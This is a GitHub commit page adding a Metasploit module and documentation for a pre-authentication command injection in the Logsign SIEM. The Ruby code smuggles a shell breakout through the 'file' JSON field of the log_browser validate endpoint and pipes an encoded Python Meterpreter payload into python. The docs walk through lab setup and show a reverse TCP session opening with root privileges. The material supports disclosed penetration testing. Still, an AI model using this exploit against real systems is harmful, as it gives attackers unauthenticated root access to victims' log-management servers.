Skip to content

Commit e5636d6

Browse files
committed
Adding logsign rce module and doc
1 parent 243ec5f commit e5636d6

File tree

2 files changed

+153
-0
lines changed

2 files changed

+153
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
## Vulnerable Application
2+
3+
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
4+
5+
### Creating A Testing Environment
6+
7+
1. Open OVA file with your preferred virtualisation application.
8+
2. Before starting the virtual machine, choose NAT mode for interface.
9+
3. Once the machine started, you must be seeing following information on screen.
10+
```
11+
Ubuntu 12.04.05 LTS - logsign customer tty1
12+
IP: 12.0.0.10
13+
...
14+
Version: Focus
15+
4.4.2
16+
```
17+
4. Access the management interface by visiting `https://<ip_address>` through your browser.
18+
5. Complete the installation by just submitting the fake data.
19+
20+
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
21+
22+
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
23+
24+
1. Reboot the machine
25+
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
26+
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
27+
4. You must be seeing terminal right now. Execute following commands.
28+
```
29+
mount -rw -o remount /
30+
```
31+
5. Execute following command specify a new password for root user.
32+
```
33+
passwd root
34+
```
35+
6. As a final step, reboot the machine.
36+
```
37+
reboot
38+
```
39+
7. Login with your root user.
40+
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
41+
```
42+
address 12.0.0.10
43+
netmask 255.255.255.0
44+
<removed line starting with 'network'>
45+
<removed line starting with 'broadcast'>
46+
gateway 12.0.0.2
47+
dns-nameservers 8.8.8.8
48+
```
49+
9. Reboot the machine for a last time.
50+
51+
## Verification Steps
52+
53+
1. Install the software as documented above
54+
2. Start `msfconsole`
55+
3. `use exploit/linux/http/logsign_exec`
56+
4. `set rhost 12.0.0.10
57+
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
58+
7. `set LHOST 12.0.0.1`
59+
8. `check` and validate that you are seeing following output.
60+
61+
```
62+
[*] 12.0.0.10:80 The target appears to be vulnerable.
63+
```
64+
65+
9. Here you go. Type `exploit` and hit the enter.
66+
67+
```
68+
[*] Started reverse TCP handler on 12.0.0.1:4444
69+
[*] Delivering payload...
70+
[*] Sending stage (38651 bytes) to 12.0.0.10
71+
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
72+
73+
meterpreter > getuid
74+
Server username: root
75+
meterpreter >
76+
```
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Logsign Remote Command Injection',
14+
'Description' => %q{
15+
This module exploits an command injection vulnerability in Logsign.
16+
By exploiting this vulnerability, unauthenticated users can execute
17+
arbitrary code under the root user.
18+
19+
Logsign has a publicly accessible endpoint. That endpoint takes a user
20+
input and then use it during operating system command execution without
21+
proper validation.
22+
23+
This module was tested against 4.4.2 and 4.4.137 versions.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Mehmet Ince <[email protected]>' # author & msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
33+
],
34+
'Privileged' => true,
35+
'Platform' => ['python'],
36+
'Arch' => ARCH_PYTHON,
37+
'DefaultOptions' =>
38+
{
39+
'payload' => 'python/meterpreter/reverse_tcp'
40+
},
41+
'Targets' => [ ['Automatic', {}] ],
42+
'DisclosureDate' => 'Feb 26 2017',
43+
'DefaultTarget' => 0
44+
))
45+
46+
end
47+
48+
def check
49+
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
50+
51+
res = send_request_cgi(
52+
'method' => 'POST',
53+
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
54+
'ctype' => 'application/json',
55+
'data' => JSON.generate(p_hash)
56+
)
57+
58+
if res && res.body.include?('{"message": "success", "success": true}')
59+
Exploit::CheckCode::Appears
60+
else
61+
Exploit::CheckCode::Safe
62+
end
63+
end
64+
65+
def exploit
66+
print_status("Delivering payload...")
67+
68+
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
69+
70+
send_request_cgi(
71+
'method' => 'POST',
72+
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
73+
'ctype' => 'application/json',
74+
'data' => JSON.generate(p_hash)
75+
)
76+
end
77+
end

0 commit comments

Comments
 (0)